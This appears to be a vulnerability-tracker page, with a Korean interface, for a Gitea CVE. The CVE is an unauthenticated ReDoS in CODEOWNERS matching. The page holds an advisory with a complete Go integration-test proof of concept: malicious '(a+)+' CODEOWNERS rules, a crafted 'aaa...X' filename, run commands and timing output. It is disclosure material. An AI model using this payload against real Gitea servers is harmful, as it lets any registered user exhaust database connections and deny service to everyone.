Kestrel
대시보드로 돌아가기
CVE-2026-58421HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 07. 03.수정일: 2026. 07. 21.

Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS
0.3%상위 74.9%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

This issue has been found by a security agent and review by myself.

Gitea's CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path.

Who can trigger it

Any registered user on the instance. The attacker needs only:

  1. A repository they own (created via normal signup)
  2. A CODEOWNERS file on the default branch containing malicious patterns
  3. A pull request branch containing a file with a crafted name

No elevated permissions, no admin access, no existing repositories required.

How it is triggered

The attacker pushes a CODEOWNERS file containing repeated instances of a
catastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request
from a branch that contains a file named with a long string of repeated
characters followed by a non-matching character (e.g.
aaaaaaaaaaaaaaaaaaaaaaaaaaX). When Gitea processes the pull request, it evaluates
each CODEOWNERS rule against each changed file path — with no timeout — causing
the server to hang for the duration of the backtracking.

Impact

Every pull request creation runs this evaluation inside a database transaction. A
hung evaluation holds that transaction open, tying up a database connection for
the entire duration. With 11 rules in the CODEOWNERS file, a single pull request
creation request takes over 30 seconds. An attacker opening multiple pull
requests in parallel can exhaust the database connection pool, making the Gitea
instance unresponsive to all users.

Root cause

The vulnerable regex is here:

https://github.com/go-gitea/gitea/blob/79810ba2e37a5b5b7840a7737a877fc7f1ea7c38/models/issues/pull.go#L886

PoC

Below is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times.

This is tested at commit 689ace1ce28fd74244b8aa335d9928cdbf6b22f9.

tests/integration/pull_redos_test.go

bash
1package integration
2
3// TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability
4// triggered via the full pull.NewPullRequest call chain.
5//
6// POST /api/v1/repos/{owner}/{repo}/pulls
7// -> routers/api/v1/repo/pull.go:CreatePullRequest
8// -> pull.NewPullRequest (services/pull/pull.go)
9// -> db.WithTx <- holds DB connection for duration of hang
10// -> issues_model.NewPullRequest <- inserts PR into DB
11// -> PullRequestCodeOwnersReview <- evaluates CODEOWNERS
12// -> rule.Rule.MatchString(changedFile) <- hangs here (catastrophic backtracking)
13//
14// The attacker controls both sides of the match:
15// - CODEOWNERS pattern: "(a+)+" compiled as ^(a+)+$ with regexp2.None (no timeout)
16// - PR changed file: "aaa...X" forces O(2^N) backtracking states
17
18import (
19 "fmt"
20 "net/http"
21 "net/url"
22 "strings"
23 "testing"
24 "time"
25
26 auth_model "gitea.dev/models/auth"
27 user_model "gitea.dev/models/user"
28 "gitea.dev/models/unittest"
29 "gitea.dev/modules/git"
30 api "gitea.dev/modules/structs"
31 repo_service "gitea.dev/services/repository"
32 files_service "gitea.dev/services/repository/files"
33
34 "github.com/stretchr/testify/assert"
35 "github.com/stretchr/testify/require"
36)
37
38func TestCodeOwnersReDoS_NewPullRequest(t *testing.T) {
39 onGiteaRun(t, func(t *testing.T, u *url.URL) {
40 user2 := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})
41
42 repo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{
43 Name: "redos-codeowners",
44 Readme: "Default",
45 AutoInit: true,
46 ObjectFormatName: git.Sha1ObjectFormat.Name(),
47 DefaultBranch: "main",
48 }, true)
49 require.NoError(t, err)
50
51 // Push malicious CODEOWNERS to the default branch.
52 // 11 identical rules × 1 changed file = 11 sequential MatchString calls.
53 // Each call takes ~2.8s (25-char late-failing input), totalling ~30s.
54 // ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout).
55 var codeowners strings.Builder
56 for range 11 {
57 codeowners.WriteString("(a+)+ @user2\n")
58 }
59 _, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
60 OldBranch: repo.DefaultBranch,
61 Files: []*files_service.ChangeRepoFile{
62 {
63 Operation: "create",
64 TreePath: "CODEOWNERS",
65 ContentReader: strings.NewReader(codeowners.String()),
66 },
67 },
68 })
69 require.NoError(t, err)
70
71 // Create a PR branch containing a file whose path is a late-failing input
72 // for ^(a+)+$: 'a's that the engine greedily matches, then 'X' forces
73 // backtracking through O(2^N) states (~2.8s per rule at 25 chars).
74 maliciousFilename := strings.Repeat("a", 25) + "X"
75 _, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
76 NewBranch: "attack",
77 Files: []*files_service.ChangeRepoFile{
78 {
79 Operation: "create",
80 TreePath: maliciousFilename,
81 ContentReader: strings.NewReader("x"),
82 },
83 },
84 })
85 require.NoError(t, err)
86
87 // Obtain an API token for user2 and submit the PR creation request.
88 // This calls pull.NewPullRequest which runs issues_model.NewPullRequest and
89 // PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB
90 // connection for the duration of the backtracking hang.
91 session := loginUser(t, user2.Name)
92 token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository)
93
94 start := time.Now()
95 req := NewRequestWithJSON(t, http.MethodPost,
96 fmt.Sprintf("/api/v1/repos/%s/%s/pulls", user2.Name, repo.Name),
97 &api.CreatePullRequestOption{
98 Title: "ReDoS PoC",
99 Head: "attack",
100 Base: repo.DefaultBranch,
101 },
102 ).AddTokenAuth(token)
103 MakeRequest(t, req, http.StatusCreated)
104 elapsed := time.Since(start)
105
106 t.Logf("pull.NewPullRequest completed in %s", elapsed)
107 assert.Greater(t, elapsed, 25*time.Second,
108 "expected ~30s ReDoS hang (11 rules × ~2.8s each); pattern may have been sanitised")
109 })
110}

Now run:

bash
1# 1. Build the binary (needed for git hooks during repo creation)
2make build
3
4# 2. Run the test
5go test -v -run '^TestCodeOwnersReDoS_NewPullRequest$' -count=1 -timeout 120s ./tests/integration/

When the unit test starts, you should see that it takes 30 seconds with the following output:

text
1=== TestCodeOwnersReDoS_NewPullRequest (tests/integration/pull_redos_test.go:42)
2 testlogger.go:62: 2026/06/02 14:34:43 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /tmp/gitea-3/tests/gitea-lfs-meta
3 testlogger.go:62: 2026/06/02 14:34:43 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 4.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)
4 testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 80.7ms @ private/hook_post_receive.go:33(private.HookPostReceive)
5 testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 3.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)
6 testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 60.8ms @ private/hook_post_receive.go:33(private.HookPostReceive)
7 testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 3.1ms @ auth/auth.go:284(auth.SignInPost)
8 testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 6.1ms @ setting/applications.go:36(setting.ApplicationsPost)
9 testlogger.go:62: 2026/06/02 14:34:47 HTTPRequest [W] router: slow POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, elapsed 3182.4ms @ repo/pull.go:371(repo.CreatePullRequest)
10 testlogger.go:62: 2026/06/02 14:35:16 HTTPRequest [I] router: completed POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, 201 Created in 31631.6ms @ repo/pull.go:371(repo.CreatePullRequest)
11 pull_redos_test.go:109: pull.NewPullRequest completed in 31.63184107s
12+++ TestCodeOwnersReDoS_NewPullRequest is a slow test (run: 33.342443947s, flush: 371.714µs)
13--- PASS: TestCodeOwnersReDoS_NewPullRequest (33.34s)
14PASS

You can modify the "11" number in the CODEOWNERS file to manage execution speed directly:

text
1 for range 11 {
2 codeowners.WriteString("(a+)+ @user2\n")
3 }

A higher number of lines will increase the execution time.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.